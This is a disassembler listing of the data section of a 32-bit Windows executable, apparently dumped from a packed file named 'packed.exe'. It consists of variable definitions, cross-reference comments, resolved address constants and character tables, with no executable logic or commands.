dword_4CB6AC	dd 76D67A29h		; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CB6B0	dd 76D674FAh		; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CB6B4	dd 71AB3C22h		; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CB6B8	dd 71AB2BBFh		; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CB6BC	dd 1F7BA3A9h		; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB6C0	dd 71AB401Ch		; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB6C4	dd 71C214BAh		; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB6C8	dd 71AB868Dh		; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB6CC	dd 71AB1A6Dh		; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB6D0	dd 71AB155Ah		; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB6D4	dd 71B22C25h		; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB6D8	dd 71AB5A01h		; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB6DC	dd 71B2ACCBh		; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB6E0	dd 77E78C17h		; DATA XREF: sub_401221+52r
					; sub_409B12+31w ...
dword_4CB6E4	dd 77D49A11h		; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB6EC	dd 76D62A37h		; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br ...
dword_4CB6F0	dd 77E6CBF9h		; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB6F4	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB6F8	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB6FC	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB700	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB704	dd 0			; DATA XREF: sub_401221+349r
					; sub_401ACD+4567r ...
dword_4CB708	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB70C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB710	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB714	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB718	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB71C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB720	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB724	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB728	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB72C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB730	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB734	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB738	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB73C	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB740	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB744	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB748	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB74C	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB750	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB754	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB758	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB75C	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB760	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB764	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB780	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB784	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C33C+D9w ...
		dd 7FEh	dup(0)
dword_4CD780	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD798	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD79C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD7A0	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD7A4	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD7A8	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD828	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD82C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD830	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD838	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD83C	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD940	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CDA44	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CDA48	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CDA4C	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CDA50	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CDAD0	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CDAD4	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CDAD8	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CDAE0	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CDAE4	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CDBE8	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CDCEC	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CDCF0	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CDCF4	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CDCF8	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CDD78	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CDD7C	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CDD80	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CDD88	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CDD8C	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CE014	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CE118	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CE120	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CE124	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CE128	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CE12C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CE134	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CE13C	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r ...
dword_4CE140	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r ...
dword_4CE144	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CE34C	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CE354	dd 2080Ah		; DATA XREF: sub_40D89F+8w
					; sub_40D99B+2D3o
		dd 0
dword_4CE35C	dd 2 dup(0)		; DATA XREF: sub_40D99B+209o
dword_4CE364	dd 0			; DATA XREF: sub_40E4B8+1Fr
					; sub_40E503+BCo ...
dword_4CE368	dd 0			; DATA XREF: sub_40E503+B7o
					; sub_40E503+DAr ...
dword_4CE36C	dd 0			; DATA XREF: sub_40E503+9Ao
					; sub_40E503+CFr ...
dword_4CE370	dd 0			; DATA XREF: sub_40E475+35r
					; sub_40E503+95o ...
dword_4CE374	dd 0			; DATA XREF: sub_40E475+17r
					; sub_40E4B8+3Dr ...
		dd 0
dword_4CE37C	dd 0C26Eh		; DATA XREF: sub_40BACD+2AEr
					; sub_40E6D8+10w ...
		dd 0
dword_4CE384	dd 0			; DATA XREF: sub_40B785+1Cr
					; sub_40E6EF+27Cw
dword_4CE388	dd 0			; DATA XREF: sub_40EFBE+2Aw
					; sub_40EFBE+51r ...
		dd 3 dup(0)
dword_4CE398	dd 0			; DATA XREF: sub_4107BF+146r
		align 10h
dword_4CE3A0	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		align 8
byte_4CE3A8	db 0			; DATA XREF: sub_412E9D+1D3w
					; sub_412E9D+2D2o
		align 2
word_4CE3AA	dw 0			; DATA XREF: sub_412E9D+1E3w
word_4CE3AC	dw 0			; DATA XREF: sub_412E9D+1E9w
word_4CE3AE	dw 0			; DATA XREF: sub_412E9D+1F0w
byte_4CE3B0	db 0			; DATA XREF: sub_412E9D+1F7w
byte_4CE3B1	db 0			; DATA XREF: sub_412E9D+1FEw
word_4CE3B2	dw 0			; DATA XREF: sub_412E9D+204w
dword_4CE3B4	dd 0			; DATA XREF: sub_412E9D+234w
					; sub_412E9D+250w
dword_4CE3B8	dd 0			; DATA XREF: sub_412E9D+258w
byte_4CE3BC	db 0			; DATA XREF: sub_412E9D+26Aw
byte_4CE3BD	db 0			; DATA XREF: sub_412E9D+27Dw
word_4CE3BE	dw 0			; DATA XREF: sub_412E9D+295w
word_4CE3C0	dw 0			; DATA XREF: sub_412E9D+2A4w
word_4CE3C2	dw 0			; DATA XREF: sub_412E9D+29Cw
dword_4CE3C4	dd 101h	dup(0)		; DATA XREF: sub_412E9D+2B9o
dword_4CE7C8	dd 80h dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o ...
byte_4CE9C8	db 0			; DATA XREF: sub_414745+1A1w
					; sub_414745+27Ao
		align 2
word_4CE9CA	dw 0			; DATA XREF: sub_414745+1AEw
word_4CE9CC	dw 0			; DATA XREF: sub_414745+1B8w
word_4CE9CE	dw 0			; DATA XREF: sub_414745+1C1w
byte_4CE9D0	db 0			; DATA XREF: sub_414745+1C8w
byte_4CE9D1	db 0			; DATA XREF: sub_414745+1CFw
word_4CE9D2	dw 0			; DATA XREF: sub_414745+1D6w
dword_4CE9D4	dd 0			; DATA XREF: sub_414745+1E3w
dword_4CE9D8	dd 0			; DATA XREF: sub_414745+1EBw
word_4CE9DC	dw 0			; DATA XREF: sub_414745+244w
word_4CE9DE	dw 0			; DATA XREF: sub_414745+22Cw
word_4CE9E0	dw 0			; DATA XREF: sub_414745+256w
word_4CE9E2	dw 0			; DATA XREF: sub_414745+1F7w
dword_4CE9E4	dd 101h	dup(0)		; DATA XREF: sub_414745+265o
dword_4CEDE8	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 3 dup(0)
byte_4CEDF8	db 0			; DATA XREF: sub_414C2E+241o
					; sub_414C2E+250w ...
byte_4CEDF9	db 0			; DATA XREF: sub_414C2E+264w
word_4CEDFA	dw 0			; DATA XREF: sub_414C2E+295w
word_4CEDFC	dw 0			; DATA XREF: sub_414C2E+27Cw
					; sub_414C2E:loc_415000w
word_4CEDFE	dw 0			; DATA XREF: sub_414C2E+29Bw
byte_4CEE00	db 0			; DATA XREF: sub_414C2E+288w
byte_4CEE01	db 0			; DATA XREF: sub_414C2E+25Dw
word_4CEE02	dw 0			; DATA XREF: sub_414C2E+3F2w
					; sub_414C2E+41Cw
dword_4CEE04	dd 0			; DATA XREF: sub_414C2E:loc_414EF7w
					; sub_414C2E+39Ar
dword_4CEE08	dd 0			; DATA XREF: sub_414C2E+2D6w
word_4CEE0C	dw 0			; DATA XREF: sub_414C2E+394w
					; sub_414C2E+3E8o
word_4CEE0E	dw 0			; DATA XREF: sub_414C2E+335w
					; sub_414C2E+35Ar ...
dword_4CEE10	dd 0			; DATA XREF: sub_414C2E+30Cw
					; sub_414C2E+3D9w
dword_4CEE14	dd 0			; DATA XREF: sub_414C2E+328w
					; sub_414C2E+3ABw ...
byte_4CEE18	db 0			; DATA XREF: sub_414C2E+311r
					; sub_414C2E+31Fw
byte_4CEE19	db 0			; DATA XREF: sub_414C2E+2DBw
					; sub_414C2E+3A4w ...
word_4CEE1A	dw 0			; DATA XREF: sub_414C2E+2E9w
word_4CEE1C	dw 0			; DATA XREF: sub_414C2E+3F9w
					; sub_414C2E+42Aw
word_4CEE1E	dw 0			; DATA XREF: sub_414C2E+32Ew
word_4CEE20	dw 0			; DATA XREF: sub_414C2E+360w
					; sub_414C2E+432o
word_4CEE22	dw 0			; DATA XREF: sub_414C2E+36Fw
					; sub_414C2E+409w
dword_4CEE24	dd 0			; DATA XREF: sub_414C2E+369w
		align 10h
dword_4CEE30	dd 0			; DATA XREF: sub_414C2E+39Fw
					; sub_414C2E+417o
dword_4CEE34	dd 0			; DATA XREF: sub_414C2E+33Bw
byte_4CEE38	db 0			; DATA XREF: sub_414C2E+341w
byte_4CEE39	db 0			; DATA XREF: sub_414C2E+347w
word_4CEE3A	dw 0			; DATA XREF: sub_414C2E+354w
dword_4CEE3C	dd 7 dup(0)		; DATA XREF: sub_414C2E+3EDo
dword_4CEE58	dd 0			; DATA XREF: sub_414C2E+30w
					; sub_414C2E+43Br
dword_4CEE5C	dd 100h	dup(0)		; DATA XREF: sub_414C2E+1C3o
					; sub_414C2E+47Eo
dword_4CF25C	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D325C	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D3260	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D3268	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D32A0	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D34A0	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D3CA0	dd 12Ch	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: .packed:off_437EF8o
		dd 0D3h	dup(0)
dword_4D44A0	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D44A4	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D44A8	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D44AC	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D44B0	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D46B0	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D46B8	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D46BC	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D46C0	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D46C4	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D46C8	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D46CC	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D46D4	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 7Fh dup(0)
dword_4D48D4	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DADE8	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DADEC	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DAFF0	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DB04C	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DB24C	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DB250	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DB2AC	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DB4AC	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DB4B0	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DB6B0	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB8B4	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB8B8	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB8BC	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB8C0	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB8C4	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB8F8	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB900	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB938	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; sub_41D1EC:loc_41D268w ...
dword_4DB93C	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB940	dd 0			; DATA XREF: sub_423A33+13Ar
dword_4DB944	dd 0A28h		; DATA XREF: sub_41D933+52w
dword_4DB948	dd 501h			; DATA XREF: sub_41D933+49w
dword_4DB94C	dd 5			; DATA XREF: sub_41D933+3Ew
dword_4DB950	dd 1			; DATA XREF: sub_41D933+30w
dword_4DB954	dd 1			; DATA XREF: sub_401221:loc_401516r
					; sub_422F83+91w
dword_4DB958	dd 950B20h		; DATA XREF: sub_401221+2FEr
					; sub_401221+31Er ...
		align 10h
dword_4DB960	dd 950B48h		; DATA XREF: sub_422ECA+44w
					; sub_425AC7+9r ...
dword_4DB964	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB968	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB970	dd offset aCM_unpackerPac ; DATA XREF: sub_422F83+2Ew
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB978	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB97C	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB980	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB984	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB98C	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB990	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB998	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB99A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB99E	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB9A0	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB9A2	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB9A8	dd 0			; DATA XREF: sub_41D933+84w
					; sub_422ECA:loc_422EDCr ...
		align 10h
dword_4DB9B0	dd 0			; DATA XREF: sub_41DA29r sub_41DA4Er ...
dword_4DB9B4	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB9B8	dd 0			; DATA XREF: sub_41F312r
dword_4DB9BC	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB9C0	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB9C4	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB9CC	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB9D0	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB9D4	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB9D8	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB9DC	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB9E0	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB9E4	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB9E8	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB9EC	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB9F4	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DBA04	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DBA0C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DBA10	dd 0			; DATA XREF: sub_422CEE+3Ar
					; sub_422CEE+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_422F83:loc_422F9Ao
					; .packed:off_4DB970o
		align 10h
		dd 3Ah dup(0)
dword_4DBB18	dd 1			; DATA XREF: sub_4231D0+2r
					; sub_4231D0+23w ...
dword_4DBB1C	dd 0			; DATA XREF: sub_423590+21r
dword_4DBB20	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DBB24	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DBB28	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DBB30	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DBB32	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DBB34	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DBB50	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DBB54	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DBB58	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DBB5C	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DBB60	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DBB68	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DBB70	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DBB74	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DBBB4	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DBBB6	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DBBB8	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DBBBA	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DBBBC	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DBBBE	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DBBC0	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DBBC2	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DBBC4	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DBBC8	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DBC08	dw 0			; DATA XREF: sub_424A4A+46r
word_4DBC0A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DBC0C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DBC0E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DBC10	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DBC12	dw 0			; DATA XREF: sub_424A4A+55r
word_4DBC14	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DBC16	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DBC18	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DBC1C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DBC20	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DBC24	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DBC28	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DBC2C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DBC30	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DBC34	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DBC38	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DBC3C	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DBC40	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DBC48	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DBC4C	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DBC50	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DBC54	db 1			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DBC58	dd 951110h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		align 10h
dword_4DBC60	dd 400h	dup(0)		; DATA XREF: .packed:off_43D0A8o
					; .packed:0043D0B0o
dword_4DCC60	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DCC80	dd 950650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DCC84	dd 3Fh dup(0)		; DATA XREF: sub_423302+92o
dword_4DCD80	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DCD84	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DCD90	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DCD9C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DCDA0	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DCEA0	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DCEA1	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DCFA4	dd 0			; DATA XREF: sub_41FEA9+6Ew
